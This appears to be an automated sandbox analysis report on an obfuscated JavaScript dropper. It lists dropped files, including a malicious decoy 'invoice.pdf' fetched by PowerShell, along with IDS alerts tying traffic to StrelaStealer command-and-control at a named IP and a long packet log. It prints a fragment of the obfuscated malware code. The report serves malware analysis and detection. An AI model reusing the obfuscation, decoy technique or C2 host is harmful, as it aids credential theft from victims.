File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d4aa5f19-af7e-433f-aa66-8b5228d2d64e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ee6795eb-2314-492b-8cc1-6f04215ca55c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 634912
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/ndpy6mlind9j2kvhsfFXpAXDgrFBU2/R07EGZf5ZwYIGNPzWL07oW:P3mlind9i4ufFXpAXkrfUs0wGZxZwZGf
MD5:	03FDCEEC7CEFA155EC3C965BE538D89B
SHA1:	FCFDFA1B002CB5E4C0A3D06EA11D5747721FDA0A
SHA-256:	BCEBA5BD63F4508C59CB1A8859663954A4070C93F4435A56B0CD2564A15D639D
SHA-512:	38F2254704A8D6F7E34ED64525A195E5E2210D91A680C2DDCFB40820C32F89FFABDF71BA8CB7FC2000342EA4E663991C92984718A3CAA22F565402B94F054152
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15648), with CRLF line terminators
Entropy (8bit):	4.917108896076939
TrID:
File name:	4892182381391430128.js
File size:	19'035 bytes
MD5:	75fccc0f5b2b0d8e4dd2554599a19be3
SHA1:	122a5c6b115dc1ace10e6b77ed03972907c2c972
SHA256:	268d48e5afc5da90fce674b788f6f9e547f5547b55a1de30b08b6dc51ead51f7
SHA512:	99f36922c78ef255d60efea7121318479dcfe17fa8df565d35c331c2b04982e6ba43cc51967a9911e0fccaf49394d0fa3b0bd4c0fa403522ee604501e7225b84
SSDEEP:	384:DKrtVdclNUgkmMSTG6p07G3hlnu0BJUvXWv:DKrt0NUjmMSpTBr
TLSH:	44827585D146C25B8ADC44A1769D68ED362C02CED33418C0B6F7D4A5A71CF74B2EA7F1
File Content Preview:	function xouvr(){arfsr=[1031,3079,5127,4103,2055,3072];var eteveusnt=this[ffnbf+yjwwl+elhpe+oucnmgrf+dyfxavx+hdckrtim+ygsmk+dveydlzc](this[dgrmj+yrjjesn+jkdtpdw+elhpe+uofebkoo+ffnbf+dveydlzc][mjbctorfc+elhpe+dyfxavx+yjwwl+dveydlzc+dyfxavx+srwnqaep+lxkhagv

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:39:58.640476+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T01:39:58.640476+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T01:40:00.941667+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49717	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:39:57.858867884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:57.863733053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:57.863804102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:57.868522882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:57.873250961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.640366077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.640433073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.640444994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.640463114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.640475035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.640475988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.640486956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.640499115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.640506029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.640511990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.640522957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.640536070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.640554905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.640577078 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.683587074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.683604956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.683617115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.683684111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.738517046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.760598898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.760617018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.760628939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.760726929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.760749102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.760859013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.760946035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.760976076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.760987043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.761022091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.761034012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.761130095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.761130095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.761846066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.761861086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.761873007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.761884928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.761898994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.761910915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.761933088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.762686968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.762698889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.762712002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.762723923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.762736082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.762739897 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.762768984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.762783051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.772135973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.803597927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.803637981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.803654909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.803688049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.803700924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.803742886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.803812027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.849323034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.849344969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.849452972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.880605936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.880621910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.880634069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.880645037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.880656958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.880701065 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.880765915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.881011009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.881050110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.881062984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.881074905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.881087065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.881114960 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.881241083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.881321907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.881333113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.881345034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.881356001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.881361961 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.881383896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.881402016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.881808043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.881819963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.881836891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.881855965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.881856918 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.881869078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.881879091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.881890059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.881917000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.882494926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.882505894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.882518053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.882530928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.882543087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.882561922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.882596016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.883053064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.883066893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.883078098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.883091927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.883095026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.883104086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.883115053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.883126974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.883126020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.883138895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.883163929 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.883177042 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.884023905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.884038925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.884052992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.884063959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.884077072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.884089947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.884100914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.884143114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.892455101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.892484903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.892539978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.892560959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.892563105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.892601967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.924104929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.924130917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.924144983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.924158096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.924173117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.924182892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.924211025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.924221992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.924231052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.924294949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.974548101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.974565029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.974577904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.974668026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.974678993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:58.974765062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:58.975056887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.001584053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.001612902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.001625061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.001637936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.001673937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.001686096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.001712084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.001723051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.001792908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.001810074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.001899958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.001910925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.001924038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.001943111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.001979113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.002134085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002144098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002181053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.002232075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002243996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002254963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002266884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002286911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.002307892 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.002468109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002499104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002510071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002523899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002535105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002559900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.002576113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.002806902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002840996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002852917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002856016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.002906084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002917051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002928019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.002954006 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.003413916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.003433943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.003458977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.003470898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.003482103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.003484964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.003510952 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.003525972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.003631115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.003715992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.003726959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.003741026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.003757954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.003770113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.003771067 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.003783941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.003796101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.003796101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.003808022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.003820896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.003853083 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:39:59.004354954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.004369020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.004380941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.004391909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.004405975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 01:39:59.004416943 CET	80	49710	193.143.1.205	192.168.2.6
